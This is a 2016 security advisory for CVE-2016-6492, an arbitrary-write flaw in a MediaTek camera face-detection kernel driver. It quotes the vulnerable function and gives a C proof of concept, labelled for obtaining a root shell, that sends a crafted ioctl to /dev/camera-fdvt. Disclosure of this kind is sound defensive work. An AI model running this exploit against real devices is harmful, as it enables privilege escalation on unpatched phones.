MediaTek Driver Privilege Escalation
Posted on 02 August 2016
Details ======= Product: MTK platform:MT6595 -- MT6797 Security Risk: High CVE ID: CVE-2016-6492 Credit: unLimit Security Group Introduction ============ 1. https://github.com/jawad6233/MT6795.kernel/blob/1251b008a51be5cd97ce6da916f34fc6afa2b1d7/alps/kernel-3.10/drivers/misc/mediatek/mach/mt6795/camera_fdvt.c#L415 ioctl cmd MT6573FDVTIOC_T_SET_FDCONF_CMD functon: MT6573 FDVT set reg to HW buffer (MT6573FDVT_SetRegHW) 2. Vulnerability Detail: static int MT6573FDVT_SetRegHW(MT6573FDVTRegIO * a_pstCfg) { MT6573FDVTRegIO *pREGIO = NULL; u32 i=0; static UINT8 illegalWRLogTimes = 0; if (NULL == a_pstCfg) { LOG_DBG("Null input argrment "); return -EINVAL; } pREGIO = (MT6573FDVTRegIO*)a_pstCfg; if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Addr, (void *) pREGIO->pAddr, pREGIO->u4Count * sizeof(u32))) { // pREGIO->u4Count Length not check,cause any address writeable. if pREGIO-> u4Count control within the effective range, pREGIO-> pAddr can be written to the specified location LOG_DBG("ioctl copy from user failed "); return -EFAULT; } if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Data, (void *) pREGIO->pData, pREGIO->u4Count * sizeof(u32))) { LOG_DBG("ioctl copy from user failed "); return -EFAULT; } //pMT6573FDVTWRBuff.u4Counter=pREGIO->u4Count; //LOG_DBG("Count = %d ", pREGIO->u4Count); for( i = 0; i < pREGIO->u4Count; i++ ) { if ((FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) >= FDVT_ADDR && (FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) <= (FDVT_ADDR + FDVT_MAX_OFFSET)) { //LOG_DBG("write addr = 0x%08x, data = 0x%08x ", FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i], pMT6573FDVTWRBuff.u4Data[i]); FDVT_WR32(pMT6573FDVTWRBuff.u4Data[i], FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i] ); } else { if(illegalWRLogTimes < 10) { LOG_DBG("Error: Writing Memory(0x%8x) Excess FDVT Range! ", (unsigned int)(FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i])); illegalWRLogTimes ++; } else if(illegalWRLogTimes == 10) { LOG_DBG("Error: Writing Memory Excess FDVT Range - Log Too Much, Stop Same Logs"); illegalWRLogTimes ++; } else{} } } return 0; } 3.POC: /* * Abuse it for root shell */ #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdbool.h> #include <sys/mount.h> #include <dirent.h> #ifndef MAX_BUFFER_SIZE #define MAX_BUFFER_SIZE 512 #endif typedef struct { unsigned int *pAddr; unsigned int *pData; unsigned int u4Count; } MT6573FDVTRegIO; #define FDVT_IOC_MAGIC 'N' #define MT6573FDVTIOC_T_SET_FDCONF_CMD _IOW(FDVT_IOC_MAGIC, 0x03, MT6573FDVTRegIO) const static char *driver = "/dev/camera-fdvt"; void set_fdconf_cmd() { int fd = 0; MT6573FDVTRegIO argc; fd = open(driver, O_RDWR); if (fd < 0) { printf("Failed to open %s, with errno %s ", driver, strerror(errno)); system("echo 1 > /data/local/tmp/log"); exit(EXIT_FAILURE); } argc.pAddr = 0x1024; argc.pData = 0x1024; argc.u4Count = 0x1024; if(ioctl(fd, MT6573FDVTIOC_T_SET_FDCONF_CMD, &argc) < 0) { printf("Allocation of structs failed, %s ", strerror(errno)); system("echo 2 > /data/local/tmp/log"); exit(EXIT_FAILURE); } close(fd); } int main(int argc, char **argv, char **env) { set_fdconf_cmd(); return 0; }